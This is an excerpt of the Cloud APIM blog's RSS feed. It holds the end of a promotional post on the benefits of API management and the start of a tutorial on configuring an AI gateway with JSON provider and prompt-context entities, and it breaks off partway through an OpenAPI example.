&lt;h3 id=&quot;optimize-and-monitor-api-usage&quot;&gt;Optimize and Monitor API Usage&lt;/h3&gt;
&lt;p&gt;Performance is key to maintain user satisfaction and operational efficiency.&lt;/p&gt;
&lt;p&gt;API management tools offer monitoring and analytics features that help businesses tracking their API performance, usage patterns, and response times.&lt;/p&gt;
&lt;p&gt;This data is invaluable for identifying bottlenecks, optimizing API endpoints, and ensuring that the system runs smoothly.&lt;/p&gt;
&lt;h3 id=&quot;monitoring---example-&quot;&gt;Monitoring - Example :&lt;/h3&gt;
&lt;p&gt;A company might use API management to monitor API calls during peak times, identifying and addressing slowdowns proactively to maintain high performance and reliability.&lt;/p&gt;
&lt;h1 id=&quot;-scalability&quot;&gt;📈 Scalability&lt;/h1&gt;
&lt;h3 id=&quot;manage-and-scale-apis-effortlessly&quot;&gt;Manage and Scale APIs Effortlessly&lt;/h3&gt;
&lt;p&gt;As businesses grow, their API usage typically increases.&lt;/p&gt;
&lt;p&gt;API management platforms provide the scalability needed to handle this growth.&lt;/p&gt;
&lt;p&gt;They allow businesses to scale their API infrastructure seamlessly, ensuring that they can accommodate increased traffic without compromising performance.&lt;/p&gt;
&lt;h3 id=&quot;scalability---example-&quot;&gt;Scalability - Example :&lt;/h3&gt;
&lt;p&gt;A retail company experiencing a surge in traffic during holiday sales can rely on API management to scale their API resources automatically, ensuring a smooth shopping experience for customers.&lt;/p&gt;
&lt;h1 id=&quot;-seamless-integration&quot;&gt;🔗 Seamless Integration&lt;/h1&gt;
&lt;h3 id=&quot;connect-different-systems-and-platforms&quot;&gt;Connect Different Systems and Platforms&lt;/h3&gt;
&lt;p&gt;API management facilitates the integration of diverse systems and platforms, enabling businesses to create a cohesive digital ecosystem.&lt;/p&gt;
&lt;p&gt;This seamless integration helps streamline operations, improve efficiency, and foster innovation.&lt;/p&gt;
&lt;h3 id=&quot;seamless-integration---example-&quot;&gt;Seamless Integration - Example :&lt;/h3&gt;
&lt;p&gt;An e-commerce platform can integrate with various payment gateways, shipping services, and inventory management systems through APIs, all managed centrally to ensure consistent and reliable operation.&lt;/p&gt;
&lt;h1 id=&quot;-technology-agnostic&quot;&gt;🌐 Technology Agnostic&lt;/h1&gt;
&lt;h3 id=&quot;flexibility-across-different-technologies&quot;&gt;Flexibility Across Different Technologies&lt;/h3&gt;
&lt;p&gt;One of the significant advantages of modern API management is its technology-agnostic nature.&lt;/p&gt;
&lt;p&gt;This means that businesses can integrate and manage APIs across various technology stacks and platforms without being tied to a specific vendor or technology.&lt;/p&gt;
&lt;p&gt;This flexibility allows organizations to adopt the best tools and services for their needs, promoting innovation and agility.&lt;/p&gt;
&lt;h3 id=&quot;technology-agnostic---example&quot;&gt;Technology Agnostic - Example:&lt;/h3&gt;
&lt;p&gt;A financial services company can use an API management platform to integrate APIs from different fintech providers, regardless of the underlying technology each provider uses.&lt;/p&gt;
&lt;p&gt;This ensures seamless operation and the ability to choose the best solutions without compatibility concerns.&lt;/p&gt;
&lt;h1 id=&quot;-better-user-experience&quot;&gt;🌟 Better User Experience&lt;/h1&gt;
&lt;h3 id=&quot;deliver-consistent-and-reliable-services&quot;&gt;Deliver Consistent and Reliable Services&lt;/h3&gt;
&lt;p&gt;User experience is critical to the success of any business.&lt;/p&gt;
&lt;p&gt;API management ensures that APIs deliver consistent, reliable, and high-quality services to users.&lt;/p&gt;
&lt;p&gt;By managing API versioning, monitoring performance, and ensuring uptime, businesses can provide a superior user experience.&lt;/p&gt;
&lt;h3 id=&quot;ux---example-&quot;&gt;UX - Example :&lt;/h3&gt;
&lt;p&gt;A mobile app relying on multiple APIs for functionalities like weather updates, location services, and social media integration can ensure all APIs are performing optimally, providing users with a seamless and enjoyable experience.&lt;/p&gt;
&lt;h1 id=&quot;-conclusion&quot;&gt;✨ Conclusion&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;API management&lt;/strong&gt; is not just a technical necessity : it is a strategic asset that can drive business growth and innovation.&lt;/p&gt;
&lt;p&gt;By enhancing security, improving performance, enabling scalability, facilitating seamless integration, and ensuring a better user experience, API management helps businesses maximize the potential of their APIs.&lt;/p&gt;
&lt;p&gt;Investing in robust API management solutions is essential for staying &lt;strong&gt;competitive&lt;/strong&gt; in today’s digital landscape.&lt;/p&gt;
&lt;p&gt;Embrace API management to unlock new opportunities, drive efficiency, and deliver exceptional &lt;strong&gt;value&lt;/strong&gt; to your &lt;strong&gt;customers&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-get-started-now&quot;&gt;&lt;strong&gt;🚀 Get Started Now&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Ready to get started with &lt;a href=&quot;https://cloud-apim.com/serverless&quot;&gt;&lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;&lt;/a&gt; ?&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;&lt;strong&gt;Sign up now&lt;/strong&gt;&lt;/a&gt; and take the first step towards secure and efficient &lt;strong&gt;API management&lt;/strong&gt; !&lt;/p&gt;
&lt;h3 id=&quot;-youtube-videos&quot;&gt;&lt;strong&gt;🎥 Youtube Videos&lt;/strong&gt;&lt;/h3&gt;
&lt;p class=&quot;embed embed-link&quot;&gt;&lt;a href=&quot;https://www.youtube.com/@CloudAPIM&quot;&gt;https://www.youtube.com/@CloudAPIM&lt;/a&gt;&lt;/p&gt;
### **📡 Stay Connected**
&lt;p&gt;Follow our blog for the latest updates, tips, and best practices for &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; and &lt;strong&gt;API management&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-about-cloud-apim&quot;&gt;&lt;strong&gt;🏢 About Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; provides &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;cutting-edge, managed solutions for API management&lt;/a&gt;, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;the most advanced tools&lt;/a&gt; and &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; to our customers, empowering them to achieve their digital transformation goals.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:language>en</dc:language><category>Cloud APIM</category><category>APIs</category><category>API management</category><category>Reverse proxy</category><category>API gateway</category><category>API basics</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.yDdNpu3I_1Yf3hk.jpg" length="0" type="image/jpeg"/></item><item><title>🚀 Unleash the Power of Your API Gateway with AI : A simple guide to create your first AI Gateway 🤖</title><link>https://blog.cloud-apim.com/unleash-the-power-of-your-api-gateway-with-ai-a-simple-guide-to-create-your-first-ai-gateway</link><guid isPermaLink="true">https://blog.cloud-apim.com/unleash-the-power-of-your-api-gateway-with-ai-a-simple-guide-to-create-your-first-ai-gateway</guid><description>In today’s world, AI is revolutionizing the way we interact with technology. One of the most powerful applications of AI is our API gateways, where AI can enhance functionality, security, and user experience. In this new article, we’ll walk you…</description><pubDate>Mon, 08 Jul 2024 14:18:38 GMT</pubDate><content:encoded>&lt;p&gt;In today’s world, &lt;strong&gt;AI&lt;/strong&gt; is revolutionizing the way we interact with technology.&lt;/p&gt;
&lt;p&gt;One of the most powerful applications of AI is our API gateways, where AI can enhance functionality, security, and user experience.&lt;/p&gt;
&lt;p&gt;In this new article, we’ll walk you through the steps to create your first AI provider and context entities, enabling you to leverage AI in your API management.&lt;/p&gt;
&lt;h2 id=&quot;step-by-step-guide-to-create-your-ai-provider-and-context-entities&quot;&gt;Step-by-Step Guide to create your AI Provider and Context Entities&lt;/h2&gt;
&lt;h3 id=&quot;1-create-your-serverless-project&quot;&gt;1. Create your Serverless Project&lt;/h3&gt;
&lt;p&gt;First, you need to sign up on &lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;&lt;strong&gt;Cloud APIM&lt;/strong&gt;&lt;/a&gt; and create your first project to use our AI plugins.&lt;/p&gt;
&lt;p&gt;If you haven’t created one yet, follow these steps :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Go to &lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;https://www.cloud-apim.com/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Log in to your &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;Cloud APIM Serverless dashboard&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Click on &lt;em&gt;“New project”&lt;/em&gt; and fill in with your project name.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;2-clone-or-fork-our-git-repository&quot;&gt;2. Clone or Fork our Git Repository&lt;/h3&gt;
&lt;p&gt;Go to our AI plugins template repository &lt;a href=&quot;https://github.com/cloud-apim/otoroshi-llm-extension-serverless-example&quot;&gt;https://github.com/cloud-apim/otoroshi-llm-extension-serverless-example&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Clone&lt;/strong&gt; it or &lt;strong&gt;fork&lt;/strong&gt; it to your personal repository.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; clone&lt;/span&gt;&lt;span&gt; https://github.com/cloud-apim/otoroshi-llm-extension-serverless-example.git&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This repository will host all your &lt;strong&gt;Serverless&lt;/strong&gt; project’s configuration 😁&lt;/p&gt;
&lt;h3 id=&quot;3-choose-your-ai-provider&quot;&gt;3. Choose Your AI Provider&lt;/h3&gt;
&lt;p&gt;Cloud APIM offers multiple providers to use through its plugins :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;OpenAI&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Azure OpenAI&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Ollama&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Mistral&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Anthropic&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Get your API Token in order to configure your AI Provider entity in your &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; project.&lt;/p&gt;
&lt;h3 id=&quot;4-set-up-your-environment-variables&quot;&gt;4. Set up your environment variables&lt;/h3&gt;
&lt;p&gt;Now let’s secure your AI Provider API Token.&lt;/p&gt;
&lt;p&gt;To do it we will use an environment variable defined as a secret variable for your project.&lt;/p&gt;
&lt;p&gt;Go to your project’s dashboard and click on &lt;em&gt;‘Create a new environment variable’&lt;/em&gt; Name it, for example &lt;code&gt;AI_PROVIDER_TOKEN&lt;/code&gt; and paste your AI Provider Token in the environment variable value box below the name.&lt;/p&gt;
&lt;p&gt;And just save it !&lt;/p&gt;
&lt;h3 id=&quot;5-set-up-your-ai-provider-entity&quot;&gt;5. Set Up Your AI Provider Entity&lt;/h3&gt;
&lt;p&gt;Now, navigate to your &lt;code&gt;entities/ai.json&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;Open it and you will have to set up your provider name and its associated token.&lt;/p&gt;
&lt;p&gt;Update the &lt;code&gt;&quot;provider&quot;&lt;/code&gt; property, by default we set up &lt;code&gt;&quot;provider&quot; : &quot;openai&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Next, update the &lt;code&gt;connection&lt;/code&gt; property by adding the API endpoint URL and the &lt;code&gt;token&lt;/code&gt; property linked to your environment variable name.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;For example&lt;/em&gt; : &lt;code&gt;&quot;token&quot;: &quot;${environment.AI_PROVIDER_TOKEN}&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Finally, define the model you would like to use by updating options property.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Example&lt;/em&gt; with GPT 3.5 Turbo model : &lt;code&gt;&quot;model&quot;: &quot;gpt-3.5-turbo&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Here is the example of the ‘&lt;strong&gt;AiProvider&lt;/strong&gt;’ entity :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;_loc&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;tenant&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;default&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;teams&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;span&gt;&quot;default&quot;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;id&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;provider-openai&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;name&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;OpenAI&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;description&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;metadata&quot;&lt;/span&gt;&lt;span&gt;: {},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;tags&quot;&lt;/span&gt;&lt;span&gt;: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;provider&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;openai&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;connection&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;base_url&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;https://api.openai.com&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;token&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;${environment.AI_PROVIDER_TOKEN}&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;timeout&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;30000&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;options&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;model&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;gpt-3.5-turbo&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;frequency_penalty&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;logit_bias&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;logprobs&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;top_logprobs&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;max_tokens&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;n&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;presence_penalty&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;response_format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;seed&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;stop&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;stream&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;temperature&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;top_p&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;tools&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;tool_choice&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;user&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;kind&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;AiProvider&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Do not forget&lt;/strong&gt; to change and create your environment variable to use your AI provider’s token.&lt;/p&gt;
&lt;p&gt;In our demonstration case, we’ve chosen &lt;code&gt;AI_PROVIDER_TOKEN&lt;/code&gt; as env variable name.&lt;/p&gt;
&lt;p&gt;You could also save in your environment variables the API base URL such as &lt;code&gt;https://api.openai.com&lt;/code&gt; for OpenAI or also the model you need to use.&lt;/p&gt;
&lt;h3 id=&quot;6-create-the-context-entity&quot;&gt;6. Create the Context Entity&lt;/h3&gt;
&lt;p&gt;In your &lt;code&gt;entities/ai.json&lt;/code&gt; file add an ‘&lt;strong&gt;AiPromptContext’&lt;/strong&gt; entity.&lt;/p&gt;
&lt;p&gt;Here is an example of an ‘&lt;strong&gt;AiPromptContext’&lt;/strong&gt; entity :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;_loc&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;tenant&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;default&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;teams&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;span&gt;&quot;default&quot;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;id&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;ai-context&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;name&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;AI Context&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;description&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;metadata&quot;&lt;/span&gt;&lt;span&gt;: {},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;tags&quot;&lt;/span&gt;&lt;span&gt;: {},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;messages&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            &quot;role&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;system&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            &quot;content&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;Cloud APIM is a french company that provides API Management as a Service through managed Otoroshi instances, Serverless projects, etc&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;kind&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;AiPromptContext&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;7-create-your-api-endpoint&quot;&gt;7. Create your API endpoint&lt;/h3&gt;
&lt;p&gt;Don’t forget to add the LLM proxy plugin to your Context route !&lt;/p&gt;
&lt;p&gt;Here is an OpenAPI example to use ‘&lt;strong&gt;AiPromptContext&lt;/strong&gt;’ plugin.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;openapi&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;3.1.0&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;info&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;title&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;AI Plugins for Cloud-APIM Serverless Projects&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;version&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;1.0.0&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;description&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;An easy getting started project template to use AI in your Cloud-APIM Serverless projects&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;contact&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;name&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;Cloud APIM Default contact address&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;url&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;https://www.cloud-apim.com&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;email&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;contact@cloud-apim.com&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;x-logo-none&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;url&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;https://www.cloud-apim.com/assets/logo/cloud-apim-logo-inverted.png&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	&quot;tags&quot;&lt;/span&gt;&lt;span&gt;: [],&lt;/span&gt;&lt;/span&gt;
